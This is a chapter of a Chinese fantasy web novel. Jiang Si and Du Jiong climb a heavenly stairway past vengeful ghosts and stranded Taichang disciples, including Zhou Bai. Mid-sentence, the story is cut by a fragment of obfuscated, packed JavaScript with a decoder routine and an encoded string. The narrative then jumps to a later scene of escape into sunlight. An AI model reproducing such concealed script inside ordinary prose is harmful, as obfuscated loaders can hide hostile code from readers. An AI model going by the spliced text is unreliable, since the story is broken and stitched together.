直到双腿颤颤地跪爬在第七十二道天阶,伸手才知道,他们触摸不到天空,更别说月亮。 ……而此时的七十二道台阶上,风沙席卷了它,白骨却依旧洋洋洒洒的滚落一地台阶。 似人的恶鬼盘踞,攀着台阶不断地往上,嘴里呢喃着:“快走,快走,登上天阶,我们就可以成仙了!” 但很快,一人落空一脚,连带着身后的人都滚落下去。人模人样的恶鬼滚落到江汜的脚边,男女老少皆有。 她后退一步,仍有孩童眼疾手快地拽住她的鞋履。 “姐姐!救救我们!救救我们!” “……恶鬼不是人,他们是已经死去的人。”昔日跛脚娘的话还历历在目。 江汜挽剑不语,火势弥天。 恶鬼再死,也无法入轮回,他们还会从长恨天里长出来,生生不息。 江汜朝着天阶踏出一步。 “师姐。”杜坰跟了上来,他站在下方,目带犹豫地望向江汜。 江汜回眸,朝他出剑:“上来。” 杜坰握住焦黑木剑的剑尖,也朝天阶上踏出一步。 在天阶的下方,密密麻麻的“人”群从逐渐消弭的朱火焚中片片成林,冒了出来。 它们齐齐整整地朝着月宫而来,朝着天阶而来。 簌簌两三声,有东西同样落在月宫墙台边上。 有人仰头望来,目光微凝,惊疑地嗓音喊出:“江汜?!” 江汜脚步不停,杜坰却回过眼去,看见一个衣衫褴褛的,手持风雷印的人。 破烂衣衫间,杜坰认出男子衣摆出飘扬的五行环印——太……常? “师姐,他们好像是人。”杜坰不确定地道。 江汜头也没回,拽着杜坰往上走,冷漠地道:“不是,恶鬼罢了,别看。” “是人?长恨天还有人?!”那名太常弟子的身后传来人声,他们看向天阶上的两人,果断往上攀去,“天阶很可能是出口!我们也上去!” 三两道身影已然落在了天阶上,一丈宽的天阶容不下一群人齐头并进。 江汜止住步伐,侧开身子,压低了声音磨在杜坰耳畔:“五行斗。” 杜坰眼睫眨动,师姐刚才看见他用步罡斗了。但也对,长恨天五行紊乱,八卦离阵,七星错位……唯独月宫与天阶的存在不一般,此处的五行并没有完全失序,踏五行斗,确实能令此处五行回归正位。 “往上走。” 江汜推了杜坰一把,随后回眸看向身后跟着她,蠢蠢欲动的三两人。 人?不认识。 江汜向来不思考会影响她判断的东西,比如在长恨天思考到底有没有活人这件事。她过去不会去想跛脚娘是不是人,也不会问她是不是人。 她只要知道自己是人,就足够了。 江汜木剑燃起湛蓝的火光,火光在她的眼底摇曳,仿佛诉说着冰冷的杀意。 “小友!我,我们没有恶意……” 江汜不为所动,她冷冷地道:“恶鬼都这样说。” “不!我们不是恶鬼!我们是人!太常!太常小友一定知道吧?我们是不小心落进来的太常弟子,我们……” 江汜往下踏出一步,轻吐浊气:“离变,一线天。” 丝线之火萦绕而去,在半空忽的腾升,将身后之人逼退。 “喂!你不要敬酒不吃吃罚酒!我不过是看在你我都要出去的份上,好声好气的同你商量,你上来就是杀招,说我们是恶鬼,我看你才是恶鬼呢!” 江汜满不在乎,毫无威慑力的木剑指向他们,淡淡地道:“我是恶鬼又如何。” “你!你是恶鬼,我们几人就把你斩灭于此!” 正说着,几人身上灵力涌动,衣袂偏飞,手掐风雷印。 “慢着!” 三人身后,衣衫更为破烂的一人冲上前来,拦住他们。 “周、白!我们被你害得还不够惨吗?现在找到出口了,你又来拦着做什么!” “让开!不然我连你一起杀了!”三人双目赤红,不知落入这长恨天,多久没阖眼了。 血红的光景扰乱心智,将人内心的不安与焦躁扩大。 唯独拦在他们身前的弟子,虽然衣衫破烂,暴露在空气外的肌肤大大小小的伤口不断,精神却比那三人要好得多。 “不,她,她不是恶鬼,我认识她!让我来说。”周白语气诚恳,对着濒临崩溃的三人说道,“这里很不一般,眼睛不能看太久,你们需要稍微休……” “到处都是恶鬼,怎么休息!一闭眼,身边就有人死去!周白,你告诉我要怎么休息?!” 周白沉默了,挣扎与不堪在他的脸上变化万千,他最终只能道出一句:“请,请你们等一下。” “……不能再有人死去了。” 说着他回过头来,摘下破烂的风帽,一双疲惫的眼睛望向江汜。 “江……江汜。” “你是江汜,对吗?”周白抹了抹灰尘满面的脸,像要把脸抚平摊开似的,摆给江汜看清楚,“我是周白。” “太常弟子,周白,你还记得吗?” “之前……很久之前,你来雾岭山脉取凝悠花,我给你摘的,我给了你很多。” “你受了伤,我还给了你很多丹药……” 周白结结巴巴地说着,他看向江汜,目光很奇怪,有时候似乎很轻松,像是看见了熟悉的人那样轻松;倏尔这抹轻松的神情一下紧绷小心翼翼,警惕着江汜。 目光犹疑,不舍,崩溃。他好似在害怕眼前的人,只是他的幻想。恶鬼总会化作人的幻想。 虽然周白清楚,自己应该没道理在这种要死的时候,想起江汜。 江汜持剑未动,她开口似有疑惑:“周白,太常弟子?” 周白忙不迭地点头,身后三人却嗤笑一声。 “周白,你早就不是太常弟子了。” 周白脸色微变,却梗着脖子道:“等出去之后,蒙长老会还我一个清白的。” “周白。”江汜开口,语气沉稳,但漆黑的眸子里却又闪烁起湛蓝的火光,“你还想当人吗。” 周白眸中神色变化万千,他迟疑惊恐地盯着江汜手中剑。 “离变平破……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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如淌水过河般漫长的耳鸣过去,刺目的阳光直射三人的眼眸,但谁都没有挪开视线。 “……我还以为,这辈子,我都不会再见到烈日了。” 周白眼睛通红,刺目的阳光逼得他直落眼泪,于是他哭得更大声:“你这个不知羞!一点都不懂人情世故的狗太阳!这种时候不知道找片云藏起来吗呜呜呜呜呜呜……” “痛死了啊,我的眼睛,我的眼睛要死了啊!赔我眼睛啊!” 江汜刚刚恢复耳力,就听见周白的鬼哭狼嚎,差点没忍住一脚把人踹河里去。 但她没有动作,也只是静静地望着天上毒辣刺目的烈日,阳光令她的眼角摔落滚烫的泪水,她没有抹去,只静静地感受眼泪顺着脸颊,碰过耳垂,滑落。 第一次从长恨天出来,是个夜晚,是个既没有月亮,也没有太阳的夜晚。只有无尽的冷风,刮着她。 一点从长恨天出来的真实感都没有。 但这次有了。 聒噪的、劫后余生的哭喊声,手心中传来的人的温热感,被阳光刺穿的泪水。 “师姐,眼睛会受伤。”杜坰摔在草堆里,他半眯着眼,伸手给坐在他身上的江汜挡光,“瞎掉就不好了。” 手掌的阴影落在江汜的眼前,仿佛投落一片静谧的树影。 她垂眸看向杜坰,苍白无神的左眼在阳光的映照下,反衬着夺目的光,犹如一块无暇的白玉。 “师弟这样就好。”